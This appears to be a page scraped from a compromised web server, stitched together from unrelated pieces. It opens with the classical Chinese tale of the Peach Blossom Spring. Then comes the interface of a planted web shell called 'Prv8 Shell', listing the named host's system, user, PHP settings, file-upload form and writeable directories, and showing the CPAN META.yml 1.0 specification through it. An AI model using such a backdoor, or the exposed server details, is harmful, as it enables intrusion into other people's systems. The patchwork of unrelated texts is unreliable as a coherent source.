晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/perl-CPAN-Meta/history/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-CPAN-Meta/history/META-spec-1_0.html
<html>
<head>
 <title>Specification for META.yml</title>
</head>

<body>
<h2 align=center>Specification for the META.yml file</h2>

<p>This document describes version 1.0 of the META.yml specification.</p>

<p>
The META.yml file describes important properties of contributed Perl
distributions such as the ones found on <a
href="http://www.cpan.org">CPAN</a>.  It is typically created by tools
like <a
href="http://search.cpan.org/author/KWILLIAMS/Module-Build/">Module::Build</a>
and <a
href="http://search.cpan.org/author/MSCHWERN/ExtUtils-MakeMaker/">ExtUtils::MakeMaker</a>.
</p>

<p>
The fields in the META.yml file are meant to be helpful to people
maintaining module collections (like CPAN), for people writing
installation tools (like <a
href="http://search.cpan.org/author/ANDK/CPAN/">CPAN.pm</a> or <a
href="http://search.cpan.org/author/KANE/CPANPLUS/">CPANPLUS</a>), or
just people who want to know some stuff about a distribution before
downloading it and starting to install it.
</p>

<h3>Format</h3>

<p>
META.yml files are written in the <a
href="http://www.yaml.org/">YAML</a> format.  The reasons we chose
YAML instead of, say, XML or Data::Dumper are discussed in <a
href="http://archive.develooper.com/makemaker@perl.org/msg00405.html">this
thread</a> on the MakeMaker mailing list.
</p>

<p>
The first line of a META.yml file should be a valid <a
href="http://www.yaml.org/spec/#.Document">YAML document header</a>
like <nobr><tt>"--- #YAML:1.0"</tt></nobr>.
</p>

<h3>Fields</h3>

<p>
The rest of the META.yml file is one big YAML <a
href="http://www.yaml.org/spec/#.-syntax-mapping-Mapping-">mapping</a>,
whose keys are described here.
</p>

<ul>

<li><b>name</b><br>
Example: <b>Module-Build</b>
<p>
The name of the distribution.  Often created by taking the "main
module" in the distribution and changing "::" to "-".  Sometimes it's
completely different, however, as in the case of the <a
href="http://search.cpan.org/author/GAAS/libwww-perl/">libwww-perl</a>
distribution.
</p>

<li><b>version</b><br>
Example: <b>0.16</b>
<p>
The version of the distribution to which the META.yml file refers.
</p>

<li><b>license</b><br>
Example: <b>perl</b>
<p>
The license under which this distribution may be used and
redistributed.  See <a
href="http://search.cpan.org/author/KWILLIAMS/Module-Build/">Module::Build</a>
for the list of valid options.
</p>

<li><b>distribution_type</b><br>
Example: <b>module</b>
<p>
What kind of stuff is contained in this distribution.  Most things on
CPAN are <code>module</code>s (which can also mean a collection of
modules), but some things are <code>script</code>s.
</p>

<li><b>requires</b><br>
Example:<br>
<b>
&nbsp;&nbsp;Data::Dumper: 0<br>
&nbsp;&nbsp;File::Find: 1.03<br>
</b>   
<p>
A YAML <a
href="http://www.yaml.org/spec/#.-syntax-mapping-Mapping-">mapping</a>
indicating the Perl modules this distribution requires for proper
operation.  The keys are the module names, and the values are version
specifications as described in the <a
href="http://search.cpan.org/author/KWILLIAMS/Module-Build/lib/Module/Build.pm">
documentation for Module::Build's "requires" parameter</a>.
</p>

<p><i>Note: the exact nature of the fancy specifications like
<nobr><tt>"&gt;= 1.2, != 1.5, &lt 2.0"</tt></nobr> is subject to
change.  Advance notice will be given here.  The simple specifications
like <tt>"1.2"</tt> will not change in format.</i>
</p>

<li><b>recommends</b><br>
Example:<br>
<b>
&nbsp;&nbsp;Data::Dumper: 0<br>
&nbsp;&nbsp;File::Find: 1.03<br>
</b>   
<p>
A YAML <a
href="http://www.yaml.org/spec/#.-syntax-mapping-Mapping-">mapping</a>
indicating the Perl modules this distribution recommends for enhanced
operation.
</p>

<li><b>build_requires</b><br>
Example:<br>
<b>
&nbsp;&nbsp;Data::Dumper: 0<br>
&nbsp;&nbsp;File::Find: 1.03<br>
</b>   
<p>
A YAML <a
href="http://www.yaml.org/spec/#.-syntax-mapping-Mapping-">mapping</a>
indicating the Perl modules required for building and/or testing of
this distribution.  These dependencies are not required after the
module is installed.
</p>

<li><b>conflicts</b><br>
Example:<br>
<b>
&nbsp;&nbsp;Data::Dumper: 0<br>
&nbsp;&nbsp;File::Find: 1.03<br>
</b>   
<p>
A YAML <a
href="http://www.yaml.org/spec/#.-syntax-mapping-Mapping-">mapping</a>
indicating the Perl modules that cannot be installed while this
distribution is installed.  This is a pretty uncommon situation.
</p>

<li><b>dynamic_config</b><br>
Example: <b>0</b>
<p>
A boolean flag indicating whether a <tt>Build.PL</tt> or
<tt>Makefile.PL</tt> (or similar) must be executed, or whether this
module can be built, tested and installed solely from consulting its
metadata file.  The main reason to set this to a true value if that
your module performs some dynamic configuration (asking questions,
sensing the environment, etc.) as part of its build/install process.
</p>

<p>
Currently <tt>Module::Build</tt> doesn't actually do anything with
this flag - it's probably going to be up to higher-level tools like
<tt>CPAN.pm</tt> to do something useful with it.  It can potentially
bring lots of security, packaging, and convenience improvements.
</p>

<li><b>generated_by</b><br>
Example: <b>Module::Build version 0.16</b>
<p>
Indicates the tool that was used to create this META.yml file.  It's
good form to include both the name of the tool and its version, but
this field is essentially opaque, at least for the moment.
</p>

</ul>

<h3>Related Projects</h3>
<dl>
 <dt>DOAP</dt>

 <dd>An RDF vocabulary to describe software projects. <a
 href="http://usefulinc.com/doap">http://usefulinc.com/doap</a>.</dd>
</dl>

<h3>History</h3>

<ul>
<li><b>March 14, 2003</b> (Pi day) - created version 1.0 of this document.</li>
<li><b>May 8, 2003</b> - added the "dynamic_config" field, which was
    missing from the initial version.</li> 
</ul>

</body>
</html>

haha - 2025